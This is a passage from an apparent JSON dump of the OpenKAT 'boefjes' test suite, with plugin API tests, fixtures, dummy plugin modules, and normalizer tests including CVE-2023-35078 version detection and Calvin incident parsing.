\"kat_\" in plugin[\"id\"]} == {\n        \"kat_test\": False,\n        \"kat_test_4\": False,\n        \"kat_test_2\": False,\n        \"kat_test_normalize\": False,\n        \"kat_test_normalize_2\": True,\n    }\n\n\ndef test_patching_enabled_state_non_existing_org(unit_test_client):\n    res = unit_test_client.patch(\n        \"/v1/organisations/non-existing-org/plugins/kat_test_normalize\", json={\"enabled\": False}\n    )\n\n    assert res.status_code == 404\n\n    res = unit_test_client.get(\"/v1/organisations/non-existing-org/plugins\")\n    assert res.status_code == 404\n"
  },
  {
    "path": "boefjes/tests/katalogus/test_settings.py",
    "content": "import base64\n\nfrom nacl.public import PrivateKey\n\nfrom boefjes.dependencies.encryption import NaclBoxMiddleware\n\n\ndef test_encode_decode():\n    sk = PrivateKey.generate()\n    sk_b64 = base64.b64encode(bytes(sk)).decode()\n    pub_b64 = base64.b64encode(bytes(sk.public_key)).decode()\n    nacl_box_middleware = NaclBoxMiddleware(private_key=sk_b64, public_key=pub_b64)\n\n    msg = \"The president is taking the underpass\"\n\n    encrypted = nacl_box_middleware.encode(msg)\n    decrypted = nacl_box_middleware.decode(encrypted)\n\n    assert encrypted != msg\n    assert decrypted == msg\n"
  },
  {
    "path": "boefjes/tests/loading.py",
    "content": "import datetime\nfrom datetime import timezone\nfrom uuid import UUID\n\nfrom boefjes.config import BASE_DIR\nfrom boefjes.worker.interfaces import Task, TaskStatus\nfrom boefjes.worker.job_models import Boefje, BoefjeMeta, Normalizer, NormalizerMeta, RawDataMeta\n\n\ndef get_dummy_data(filename: str) -> bytes:\n    path = BASE_DIR.parent / \"tests\" / \"examples\" / filename\n    return path.read_bytes()\n\n\ndef get_task(\n    task_id: UUID = UUID(\"a64d755b-6c23-44ab-8de6-8d144c448ab3\"), boefje_id: str = \"kat_test.main\"\n) -> BoefjeMeta:\n    return Task(\n        id=task_id,\n        data=get_boefje_meta(boefje_id=boefje_id),\n        schedule_id=\"test\",\n        scheduler_id=\"test\",\n        priority=1,\n        status=TaskStatus.RUNNING,\n        type=\"boefje\",\n        organisation=\"test\",\n        created_at=datetime.datetime(1000, 10, 10, 10, 10, 10, tzinfo=timezone.utc),\n        modified_at=datetime.datetime(1000, 10, 10, 10, 10, 11, tzinfo=timezone.utc),\n    )\n\n\ndef get_boefje_meta(\n    meta_id: UUID = UUID(\"d63d755b-6c23-44ab-8de6-8d144c448a71\"),\n    boefje_id: str = \"kat_test.main\",\n    input_ooi: str | None = \"Hostname|internet|test.org\",\n) -> BoefjeMeta:\n    return BoefjeMeta(\n        id=meta_id,\n        boefje=Boefje(id=boefje_id, version=\"1\"),\n        input_ooi=input_ooi,\n        arguments={\"domain\": \"test.org\"},\n        organization=\"test\",\n        started_at=datetime.datetime(1000, 10, 10, 10, 10, 10, tzinfo=timezone.utc),\n        ended_at=datetime.datetime(1000, 10, 10, 10, 10, 11, tzinfo=timezone.utc),\n    )\n\n\ndef get_normalizer_meta(\n    boefje_meta: BoefjeMeta = get_boefje_meta(), raw_file_id: UUID = UUID(\"2c9f47db-dfca-4928-b29f-368e64b3c779\")\n) -> NormalizerMeta:\n    return NormalizerMeta(\n        id=UUID(\"203eedee-a590-43e1-8f80-6d18ffe529f5\"),\n        raw_data=get_raw_data_meta(raw_file_id, boefje_meta),\n        normalizer=Normalizer(id=\"kat_test.main\"),\n        started_at=datetime.datetime(1001, 10, 10, 10, 10, 10, tzinfo=timezone.utc),\n        ended_at=datetime.datetime(1001, 10, 10, 10, 10, 12, tzinfo=timezone.utc),\n    )\n\n\ndef get_raw_data_meta(\n    raw_file_id: UUID = UUID(\"2c9f47db-dfca-4928-b29f-368e64b3c779\"), boefje_meta: BoefjeMeta = get_boefje_meta()\n) -> RawDataMeta:\n    return RawDataMeta(\n        id=raw_file_id, boefje_meta=boefje_meta, mime_types=[{\"value\": \"boefje_id/test\"}, {\"value\": \"text/plain\"}]\n    )\n"
  },
  {
    "path": "boefjes/tests/modules/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_bad_normalizer_dict_structure/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_bad_normalizer_dict_structure/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    yield {\"I\": \"write\", \"bad\": \"normalizers\"}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_bad_normalizer_dict_structure/normalizer.json",
    "content": "{\n  \"id\": \"dummy_bad_normalizer_dict_structure\",\n  \"name\": \"dummy_bad_normalizer_dict_structure\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_bad_normalizer_return_type/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_bad_normalizer_return_type/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    yield 3\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_bad_normalizer_return_type/normalizer.json",
    "content": "{\n  \"id\": \"dummy_bad_normalizer_return_type\",\n  \"name\": \"dummy_bad_normalizer_return_type\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje/boefje.json",
    "content": "{\n  \"id\": \"dummy\",\n  \"name\": \"dummy\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje/main.py",
    "content": "from boefjes.worker.job_models import BoefjeMeta\n\n\ndef run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:\n    return [(set(), b\"dummy-data\")]\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_environment/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_environment/boefje.json",
    "content": "{\n  \"id\": \"dummy_boefje_environment\",\n  \"name\": \"dummy\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_environment/main.py",
    "content": "from os import environ\n\nfrom boefjes.worker.job_models import BoefjeMeta\n\n\ndef run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:\n    return [(set(), repr(dict(environ)).encode())]\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_environment_with_pycache/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_environment_with_pycache/boefje.json",
    "content": "{\n  \"id\": \"dummy_boefje_environment_with_pycache\",\n  \"name\": \"dummy\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_environment_with_pycache/main.py",
    "content": "from os import environ\n\nfrom boefjes.worker.job_models import BoefjeMeta\n\n\ndef run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:\n    return [(set(), repr(environ).encode())]\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_environment_with_pycache/some_subdir/__init__.py",
    "content": "# Make sure that subdirectories and subfiles, except for __pycache__, are hashed\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_invalid_signature/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_invalid_signature/boefje.json",
    "content": "{\n  \"id\": \"dummy_boefje_invalid_signature\",\n  \"name\": \"dummy\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_invalid_signature/main.py",
    "content": "# just an invalid dummy module\n\n\ndef run(boefje_meta: str) -> tuple[str, int]:\n    return boefje_meta, 10\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_missing_run/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_missing_run/boefje.json",
    "content": "{\n  \"id\": \"dummy_boefje_missing_run\",\n  \"name\": \"dummy\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_missing_run/main.py",
    "content": "# just an invalid dummy module\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_runtime_exception/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_runtime_exception/boefje.json",
    "content": "{\n  \"id\": \"dummy_boefje_runtime_exception\",\n  \"name\": \"dummy\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_boefje_runtime_exception/main.py",
    "content": "from boefjes.worker.job_models import BoefjeMeta\n\n\ndef run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:\n    raise RuntimeError(\"dummy error\")\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_normalizer/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_normalizer/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.network import Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    network = Network(name=raw.decode())\n\n    yield network\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_normalizer/normalizer.json",
    "content": "{\n  \"id\": \"dummy_normalizer\",\n  \"name\": \"dummy_normalizer\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_normalizer_import_error/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_normalizer_import_error/normalize.py",
    "content": "from octopoes.bad import wrong  # noqa\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_normalizer_import_error/normalizer.json",
    "content": "{\n  \"id\": \"dummy_normalizer\",\n  \"name\": \"dummy_normalizer\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/dummy_oci_boefje_no_main/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/dummy_oci_boefje_no_main/boefje.json",
    "content": "{\n  \"id\": \"dummy_oci_boefje_no_main\",\n  \"name\": \"dummy\",\n  \"description\": \"\",\n  \"consumes\": [],\n  \"produces\": [],\n  \"oci_image\": \"openkat/test\"\n}\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/kat_test/boefje.json",
    "content": "{\n  \"id\": \"kat_test\",\n  \"name\": \"Kat test name\",\n  \"description\": \"Testing KAT\",\n  \"consumes\": [\n    \"DNSZone\"\n  ],\n  \"scan_level\": 1\n}\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_2/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_2/boefje.json",
    "content": "{\n  \"id\": \"kat_test_2\",\n  \"name\": \"Kat test 2 name\",\n  \"description\": \"Testing KAT\",\n  \"consumes\": [\n    \"DNSZone\"\n  ],\n  \"produces\": [\n    \"text/html\"\n  ],\n  \"scan_level\": 1\n}\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_2/kat_test_3/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_2/kat_test_3/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.network import Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    network = Network(name=raw.decode())\n\n    yield network\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_2/kat_test_3/normalizer.json",
    "content": "{\n  \"id\": \"kat_test_normalize_2\",\n  \"name\": \"Test normalizer 2\",\n  \"description\": \"Testing KAT 2\",\n  \"consumes\": [\n    \"text/html\"\n  ],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_2/main.py",
    "content": "from boefjes.worker.job_models import BoefjeMeta\n\n\ndef run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:\n    return [(set(), b\"dummy-data\")]\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_2/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"api_key\": {\n      \"title\": \"Api Key\",\n      \"maxLength\": 128,\n      \"type\": \"integer\"\n    },\n    \"optional_key\": {\n      \"title\": \"Optional Key\",\n      \"maxLength\": 128,\n      \"type\": \"string\"\n    }\n  },\n  \"required\": [\n    \"api_key\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_4/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_4/boefje.json",
    "content": "{\n  \"id\": \"kat_test_4\",\n  \"name\": \"Kat test 4 name\",\n  \"description\": \"Testing KAT\",\n  \"consumes\": [\n    \"DNSZone\"\n  ],\n  \"produces\": [\n    \"text/html\"\n  ],\n  \"scan_level\": 1\n}\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/kat_test_4/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"api_key\": {\n      \"title\": \"Api Key\",\n      \"maxLength\": 128,\n      \"type\": \"integer\"\n    },\n    \"optional_key\": {\n      \"title\": \"Optional Key\",\n      \"maxLength\": 128,\n      \"type\": \"string\"\n    }\n  },\n  \"required\": [\n    \"api_key\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/main.py",
    "content": "from boefjes.worker.job_models import BoefjeMeta\n\n\ndef run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:\n    return [(set(), b\"dummy-data\")]\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.network import Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    network = Network(name=raw.decode())\n\n    yield network\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/normalizer.json",
    "content": "{\n  \"id\": \"kat_test_normalize\",\n  \"name\": \"Test normalizer\",\n  \"description\": \"Testing KAT\",\n  \"consumes\": [\n    \"text/html\"\n  ],\n  \"produces\": []\n}\n"
  },
  {
    "path": "boefjes/tests/modules/kat_test/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"api_key\": {\n      \"title\": \"Api Key\",\n      \"maxLength\": 128,\n      \"type\": \"string\"\n    }\n  },\n  \"required\": [\n    \"api_key\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/plugins/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/plugins/test_adr_validator.py",
    "content": "from boefjes.worker.job_models import NormalizerMeta\nfrom tests.loading import get_dummy_data\n\n\ndef test_no_findings(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"adr-validator-normalize.json\"))\n\n    raw = \"\"\"[{\"rule\": \"TEST-01\", \"passed\": true, \"message\": \"\"}]\"\"\"\n    output = normalizer_runner.run(meta, bytes(raw, \"UTF-8\"))\n\n    assert len(output.observations) == 1\n\n    observation = output.observations[0]\n\n    assert len(observation.results) == 2\n\n    assert observation.results[0].object_type == \"APIDesignRule\"\n    assert observation.results[0].name == \"TEST-01\"\n    assert observation.results[1].object_type == \"APIDesignRuleResult\"\n    assert observation.results[1].message == \"\"\n    assert observation.results[1].passed is True\n\n\ndef test_with_findings(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"adr-validator-normalize.json\"))\n\n    raw = \"\"\"[\n        {\"rule\": \"TEST-01\", \"passed\": true, \"message\": \"\"},\n        {\"rule\": \"TEST-02\", \"passed\": false, \"message\": \"An error\"},\n        {\"rule\": \"TEST-02\", \"passed\": true, \"message\": \"\"}\n    ]\"\"\"\n    output = normalizer_runner.run(meta, bytes(raw, \"UTF-8\"))\n\n    assert len(output.observations) == 1\n\n    observation = output.observations[0]\n    assert len(observation.results) == 8\n\n    assert observation.results[2].object_type == \"APIDesignRule\"\n    assert observation.results[2].name == \"TEST-02\"\n    assert observation.results[3].object_type == \"APIDesignRuleResult\"\n    assert observation.results[3].message == \"An error\"\n    assert observation.results[3].passed is False\n\n    assert observation.results[4].object_type == \"ADRFindingType\"\n    assert observation.results[4].id == \"TEST-02\"\n    assert observation.results[5].object_type == \"Finding\"\n    assert observation.results[5].description == \"An error\"\n    assert str(observation.results[5].finding_type) == \"ADRFindingType|TEST-02\"\n"
  },
  {
    "path": "boefjes/tests/plugins/test_answer_parser.py",
    "content": "import pytest\nfrom pydantic import ValidationError\n\nfrom boefjes.worker.job_models import NormalizerMeta\nfrom tests.loading import get_dummy_data\n\n\ndef test_config_yielded(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"answer-normalize.json\"))\n\n    with pytest.raises(TypeError):\n        raw = '[{\"key\": \"test\"}]'\n        normalizer_runner.run(meta, bytes(raw, \"UTF-8\"))\n\n    with pytest.raises(ValidationError):\n        raw = '{\"schema\": \"/bit/port-classification-ip\", \"answer\": [{\"key\": \"test\"}], \"answer_ooi\": \"Network|internet\"}'\n        normalizer_runner.run(meta, bytes(raw, \"UTF-8\"))\n\n    raw = '{\"schema\": \"/bit/port-classification-ip\", \"answer\": {\"key\": \"test\"}, \"answer_ooi\": \"Network|internet\"}'\n    output = normalizer_runner.run(meta, bytes(raw, \"UTF-8\"))\n\n    assert len(output.observations) == 1\n    assert len(output.observations[0].results) == 1\n    assert output.observations[0].results[0].object_type == \"Config\"\n"
  },
  {
    "path": "boefjes/tests/plugins/test_bodyimage.py",
    "content": "import json\n\nfrom requests.models import CaseInsensitiveDict, PreparedRequest, Response\n\nfrom boefjes.plugins.kat_webpage_analysis.main import run\nfrom boefjes.worker.job_models import BoefjeMeta, NormalizerMeta\nfrom tests.loading import get_dummy_data\n\n\ndef test_website_analysis(local_repository, mocker):\n    do_request_mock = mocker.patch(\"boefjes.plugins.kat_webpage_analysis.main.do_request\", spec=Response)\n    meta = BoefjeMeta.model_validate_json(get_dummy_data(\"webpage-analysis.json\"))\n\n    mock_response = Response()\n    mock_response._content = bytes(get_dummy_data(\"download_body\"))\n    mock_response.request = mocker.MagicMock(spec=PreparedRequest())\n    mock_response.request.url = \"\"\n    mock_response.request.method = \"GET\"\n    mock_response.headers = CaseInsensitiveDict(json.loads(get_dummy_data(\"download_headers.json\")))\n\n    do_request_mock.return_value = mock_response\n\n    output = run(meta.model_dump())\n\n    assert \"application/json+har\" in output[0][0]\n    assert \"openkat-http/headers\" in output[1][0]\n    assert \"openkat-http/body\" in output[2][0]\n\n\ndef test_website_analysis_for_image(mocker):\n    do_request_mock = mocker.patch(\"boefjes.plugins.kat_webpage_analysis.main.do_request\", spec=Response)\n    meta = BoefjeMeta.model_validate_json(get_dummy_data(\"webpage-analysis.json\"))\n\n    mock_response = Response()\n    mock_response._content = bytes(get_dummy_data(\"cat_image\"))\n    mock_response.request = mocker.MagicMock(spec=PreparedRequest())\n    mock_response.request.url = \"\"\n    mock_response.request.method = \"GET\"\n    mock_response.headers = CaseInsensitiveDict(json.loads(get_dummy_data(\"download_image_headers.json\")))\n\n    do_request_mock.return_value = mock_response\n\n    output = run(meta.model_dump())\n    assert \"image/jpeg\" in output[2][0]\n\n\ndef test_body_image_normalizer(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"bodyimage-normalize.json\"))\n    output = normalizer_runner.run(meta, get_dummy_data(\"cat_image\")).observations[0].results\n\n    assert len(output) == 1\n    assert output[0].model_dump() == {\n        \"object_type\": \"ImageMetadata\",\n        \"primary_key\": \"ImageMetadata|internet|134.209.85.72|tcp|443|https|internet\"\n        \"|mispo.es|https|internet|mispo.es|443|/\",\n        \"resource\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet\"\n        \"|mispo.es|https|internet|mispo.es|443|/\",\n        \"scan_profile\": None,\n        \"user_id\": None,\n        \"image_info\": {\n            \"format\": \"JPEG\",\n            \"frames\": 1,\n            \"height\": 600,\n            \"is_animated\": False,\n            \"mode\": \"RGB\",\n            \"size\": (600, 600),\n            \"width\": 600,\n        },\n    }\n\n\ndef test_body_normalizer(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"body-normalize.json\"))\n    output = normalizer_runner.run(meta, get_dummy_data(\"download_body\")).observations[0].results\n\n    assert len(output) == 4\n\n    output_dicts = sorted([o.model_dump() for o in output], key=lambda x: x[\"primary_key\"])\n\n    assert output_dicts[0][\"primary_key\"] == \"URL|internet|http://placekitten.com/600/600\"\n    assert output_dicts[1][\"primary_key\"] == \"URL|internet|http://placekitten.com/600/600.webp\"\n    assert output_dicts[2][\"primary_key\"] == \"URL|internet|https://mispo.es/600/600\"\n    assert output_dicts[3][\"primary_key\"] == \"URL|internet|https://mispo.es/600/600.webp\"\n"
  },
  {
    "path": "boefjes/tests/plugins/test_calvin.py",
    "content": "from boefjes.worker.job_models import NormalizerMeta\nfrom octopoes.models.ooi.monitoring import Application\nfrom tests.loading import get_dummy_data\n\n\ndef test_parse_user_changed(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"calvin-normalizer.json\"))\n    output = normalizer_runner.run(meta, get_dummy_data(\"user-changed.json\"))\n\n    assert len(output.declarations) == 8\n    assert output.declarations[1].ooi.model_dump() == {\n        \"application\": Application(name=\"organisation/env/app\").reference,\n        \"event_id\": '{\"client_environment_app\":\"organisation/env/app\",\"log_user_user_id\":1234}-1655979300000',\n        \"event_title\": \"UC: User privilege monitoring\",\n        \"event_type\": \"ksql-usecase\",\n        \"meta_data\": {\n            \"_id\": \"62b43a6e69c14474a3773f8b\",\n            \"log_action_code\": \"U\",\n            \"log_count\": 9.0,\n            \"log_routing_key\": \"test_app.account_change\",\n            \"log_user_user_id\": 1234.0,\n            \"outbox_sent\": None,\n            \"windowKey\": '{\"client_environment_app\":\"organisation/env/app\",\"log_user_user_id\":1234}-1655979300000',\n            \"window_emit\": 1655978930000.0,\n            \"window_end\": 1655979300000.0,\n            \"window_start\": 1655975700000.0,\n        },\n        \"object_type\": \"Incident\",\n        \"primary_key\": 'Incident|organisation/env/app|{\"client_environment_app\":\"organisation/env/app\",'\n        '\"log_user_user_id\":1234}-1655979300000',\n        \"scan_profile\": None,\n        \"user_id\": None,\n        \"severity\": \"MEDIUM\",\n    }\n\n    assert output.declarations[-1].ooi.model_dump() == {\n        \"application\": Application(name=\"organisation/env/app\").reference,\n        \"event_id\": '{\"client_environment_app\":\"organisation/env/app\",\"log_user_user_id\":1234}-1658825100000',\n        \"event_title\": \"UC: User privilege monitoring\",\n        \"event_type\": \"ksql-usecase\",\n        \"meta_data\": {\n            \"_id\": \"62df9e499dd2b029d842576d\",\n            \"log_action_code\": \"U\",\n            \"log_count\": 4.0,\n            \"log_routing_key\": \"test_app.account_change\",\n            \"log_user_user_id\": 1234.0,\n            \"outbox_sent\": None,\n            \"windowKey\": '{\"client_environment_app\":\"organisation/env/app\",\"log_user_user_id\":1234}-1658825100000',\n            \"window_emit\": 1658822215000.0,\n            \"window_end\": 1658825100000.0,\n            \"window_start\": 1658821500000.0,\n        },\n        \"object_type\": \"Incident\",\n        \"primary_key\": 'Incident|organisation/env/app|{\"client_environment_app\":\"organisation/env/app\",'\n        '\"log_user_user_id\":1234}-1658825100000',\n        \"scan_profile\": None,\n        \"user_id\": None,\n        \"severity\": \"MEDIUM\",\n    }\n\n\ndef test_parse_admin_login_failure(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"calvin-normalizer.json\"))\n    output = normalizer_runner.run(meta, get_dummy_data(\"user-login-admin-failure.json\"))\n\n    assert len(output.declarations) == 8\n    assert output.declarations[1].ooi.model_dump() == {\n        \"application\": Application(name=\"organisation/env/app\").reference,\n        \"event_id\": '{\"client_environment_app\":\"organisation/env/app\",\"log_user_user_id\":1234}-1659618600000',\n        \"event_title\": \"UC: Detect brute force login attempts for an admin account\",\n        \"event_type\": \"ksql-usecase\",\n        \"meta_data\": {\n            \"_id\": \"62ebc44c9dd2b029d84ac32a\",\n            \"log_action_code\": \"E\",\n            \"log_count\": 3.0,\n            \"log_object_result\": 0.0,\n            \"log_routing_key\": \"test_app.user_login\",\n            \"log_user_roles\": \"ADMIN,REGISTRATOR,SHIFT_MANAGER,CSV,KVTB_ADMIN,STATS\",\n            \"log_user_user_id\": 1234.0,\n            \"outbox_sent\": True,\n            \"windowKey\": '{\"client_environment_app\":\"organisation/env/app\",\"log_user_user_id\":1234}-1659618600000',\n            \"window_emit\": 1659618378000.0,\n            \"window_end\": 1659618600000.0,\n            \"window_start\": 1659617700000.0,\n        },\n        \"object_type\": \"Incident\",\n        \"primary_key\": 'Incident|organisation/env/app|{\"client_environment_app\":\"organisation/env/app\",'\n        '\"log_user_user_id\":1234}-1659618600000',\n        \"scan_profile\": None,\n        \"user_id\": None,\n        \"severity\": \"MEDIUM\",\n    }\n\n\ndef test_parse_user_login_failure(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"calvin-normalizer.json\"))\n    output = normalizer_runner.run(meta, get_dummy_data(\"user-login-failure.json\"))\n\n    assert len(output.declarations) == 8\n    assert output.declarations[1].ooi.model_dump() == {\n        \"application\": Application(name=\"organisation/env/app\").reference,\n        \"event_id\": '{\"client_environment_app\":\"organisation/env/app\",\"log_user_user_id\":1234}-1658998200000',\n        \"event_title\": \"UC: Detects attempts to guess passwords\",\n        \"event_type\": \"ksql-usecase\",\n        \"meta_data\": {\n            \"_id\": \"62e24d509dd2b029d84391fb\",\n            \"log_action_code\": \"E\",\n            \"log_count\": 10.0,\n            \"log_object_result\": 0.0,\n            \"log_object_user_id\": None,\n            \"log_result\": None,\n            \"log_routing_key\": \"test_app.user_login\",\n            \"log_user_user_id\": 1234.0,\n            \"outbox_sent\": None,\n            \"windowKey\": '{\"client_environment_app\":\"organisation/env/app\",\"log_user_user_id\":1234}-1658998200000',\n            \"window_emit\": 1658998093000.0,\n            \"window_end\": 1658998200000.0,\n            \"window_start\": 1658996400000.0,\n        },\n        \"object_type\": \"Incident\",\n        \"primary_key\": 'Incident|organisation/env/app|{\"client_environment_app\":\"organisation/env/app\",'\n        '\"log_user_user_id\":1234}-1658998200000',\n        \"scan_profile\": None,\n        \"user_id\": None,\n        \"severity\": \"MEDIUM\",\n    }\n"
  },
  {
    "path": "boefjes/tests/plugins/test_cve-2023-35078.py",
    "content": "from boefjes.plugins.kat_cve_2023_35078.normalize import VULNERABLE_RANGES, is_vulnerable_version, run\nfrom packaging import version\nfrom tests.loading import get_dummy_data\n\n\ndef test_vulnerable_version_11_8():\n    detected_version = version.parse(\"11.8.0.0\")\n    vulnerable_ranges = [(version.parse(start), version.parse(end)) for start, end in VULNERABLE_RANGES]\n    assert is_vulnerable_version(vulnerable_ranges, detected_version) is True\n\n\ndef test_vulnerable_version_11_9():\n    detected_version = version.parse(\"11.9.1.0\")\n    vulnerable_ranges = [(version.parse(start), version.parse(end)) for start, end in VULNERABLE_RANGES]\n    assert is_vulnerable_version(vulnerable_ranges, detected_version) is True\n\n\ndef test_vulnerable_version_11_10():\n    detected_version = version.parse(\"11.10.0.1\")\n    vulnerable_ranges = [(version.parse(start), version.parse(end)) for start, end in VULNERABLE_RANGES]\n    assert is_vulnerable_version(vulnerable_ranges, detected_version) is True\n\n\ndef test_patched_version_11_9():\n    detected_version = version.parse(\"11.9.2.0\")\n    vulnerable_ranges = [(version.parse(start), version.parse(end)) for start, end in VULNERABLE_RANGES]\n    assert is_vulnerable_version(vulnerable_ranges, detected_version) is False\n\n\ndef test_equal_to_patched_version_11_9():\n    detected_version = version.parse(\"11.9.1.1\")\n    vulnerable_ranges = [(version.parse(start), version.parse(end)) for start, end in VULNERABLE_RANGES]\n    assert is_vulnerable_version(vulnerable_ranges, detected_version) is False\n\n\ndef test_cve_2023_35078_vulnerable(mocker):\n    oois = set(run(mocker.MagicMock(), get_dummy_data(\"cve_2023_35078_vulnerable.html\")))\n\n    assert any(ooi.object_type == \"Finding\" for ooi in oois)\n\n\ndef test_cve_2023_35078_not_vulnerable(mocker):\n    oois = set(run(mocker.MagicMock(), get_dummy_data(\"cve_2023_35078_not_vulnerable.html\")))\n\n    assert not any(ooi.object_type == \"Finding\" for ooi in oois)\n"
  },
  {
    "path": "boefjes/tests/plugins/test_cve-2024-6387.py",
